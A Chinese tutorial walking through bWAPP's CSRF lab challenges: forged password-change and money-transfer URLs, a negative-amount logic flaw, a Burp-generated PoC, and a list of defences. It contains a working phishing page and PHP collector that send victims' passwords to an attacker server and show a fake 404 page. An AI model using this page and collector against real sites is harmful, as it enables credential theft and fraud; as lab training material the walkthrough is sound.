简介
CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。
0x01、CSRF (Change Password)
Low
通过GET请求方式修改密码是极其不安全的, 而且验证仅仅是判断两次输入的新密码是否相等:
如果是这样, 攻击者直接通过发送指定URL给受害者点击, 即可恶意修改密码:
http://localhost:8080/bWAPP/csrf_1.php?password_new=hack&password_conf=hack&action=change
Medium&High
考虑到以上危害, 这里就加入了旧密码的验证, 只有当前密码输入正确才能修改密码:
尽管如此, 攻击仍然可以通过钓鱼的方式攻击:
即, 构造一个钓鱼界面, 诱导用户输入旧密码, 然后通过JS脚本"悄悄"将旧密码发送到攻击者服务器
这里为了与原网页仿真, 复制HTML源代码中的表单:
界面大致模仿原界面, 保存为 csrf_hack.html:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>bWAPP - CSRF</title>
</head>
<body>
<header>
<h1>bWAPP</h1>
</header>
<div id="main">
<h1>CSRF (Change Password)</h1>
<p>Change your password.</p>
<form action="http://192.168.10.102/csrf_hack_get.php" method="GET">
<p><label for="password_curr">Current password:</label><br />
<input type="password" id="password_curr" name="password_curr"></p>
<p><label for="password_new">New password:</label><br />
<input type="password" id="password_new" name="password_new"></p>
<p><label for="password_conf">Re-type new password:</label><br />
<input type="password" id="password_conf" name="password_conf"></p>
<button type="submit" name="action" value="change">Change</button>
</form>
<br />
</div>
</body>
</html>
当提交表单时,发送表单数据到名为 "http://192.168.10.102/csrf_hack_get.php" 的文件(处理输入):
其中攻击者服务器上的 csrf_hack_get.php 内容如下:
<?php
$password_curr = $_GET['password_curr']; // get old passwd
$password_new = $_GET['password_new']; // get new passwd
// open file
$file = fopen("/tmp/secret.txt", "w") or die("Unble to open file!");
// write
fwrite($file, $password_curr);
fwrite($file, $password_new);
fclose($file);
?>
<!DOCTYPE html>
<html>
<head>
<title>404 Not Found</title>
</head>
<body>
<h1>Not Found</h1>
</body>
</html>
模仿一个404页面, 为了是不让用户发现自己被钓鱼了(= =!), 读者们要小心~
当受害者不小心进入以下链接:
http://localhost/evil/csrf_hack.html
并且还输入了自己的个人密码的时候:
就会自动发送密码信息到攻击者服务器上, 并且提示404, 让受害者不易发觉:
在攻击者服务器上可以看到成功"钓"到了密码:
所以, 尽管服务端做了安全的防护, 但是若用户操作不当, 同样不安全。
防护
1. 验证码 (最简介和有效的方法), 但是出于用户体验的考虑, 不能每一个地方都设置验证码;
2. Referer检查, 可以用来检测请求是否来自合法的源, 但缺陷在于: 服务器并非什么时候都能取到Referer, 在某些情况下, 浏览器不会发送Referer, 比如: 从https跳转到http; 也可能出于安全考虑, 也不会发送Referer
3. Anti CSRF Token, 当前最普遍的做法, 不过注意要使用安全的随机数生成器生成Token, 也要及时销毁使用过的Token, 为了避免Token的泄露, 在使用Token时, 尽量把Token放在表单中, 把敏感操作由Get改为Post, 以form表单的形式 (或者AJAX) 的形式提交, 从而避免泄露Token, 值得一提的是, 还有一些其他环境也会导致Token的泄露, 比如 XSS漏洞 (成为XSRF) 或者一些跨域漏洞等。
0x02、CSRF (Change Secret)
一个直接修改密码的界面,
与上一题不同的是, 这里采用了比Get更安全的Post请求方式:
直接抓包查看, 将Referer值为空, 判断是否存在csrf:
发现依然可以成功修改, 说明存在csrf漏洞。
这里利用burpsuite生成csrf poc:
将poc复制保存为csrf_hack1.html, 然后诱导受害者点击链接:
http://192.168.10.102/evil/csrf_hack1.html
而受害者又不小心点击了按钮时, 他的密码就会被修改成hack:
Medium&High
而在更高级别中, 就采用了Anti Token来防止CSRF:
0x03、CSRF (Transfer Amount)
模拟了一个银行转账, 使用是的Get的请求方式, 这就使得转账金额和对方账户都在URL中暴露无遗:
如果直接访问修改后的转账URL看看是否会执行成功:
http://localhost:8080/bWAPP/csrf_2.php?account=86-654321&amount=200&action=transfer
看到金额的确减少了, 即转账成功, 存在CSRF漏洞。
此外, 这里同样存在逻辑漏洞, 利用负负得正的原理, 如果转账金额设为 -200, 在服务器执行减操作的时候, 就会出现金额增加的现象:
http://localhost:8080/bWAPP/csrf_2.php?account=86-654321&amount=-200&action=transfer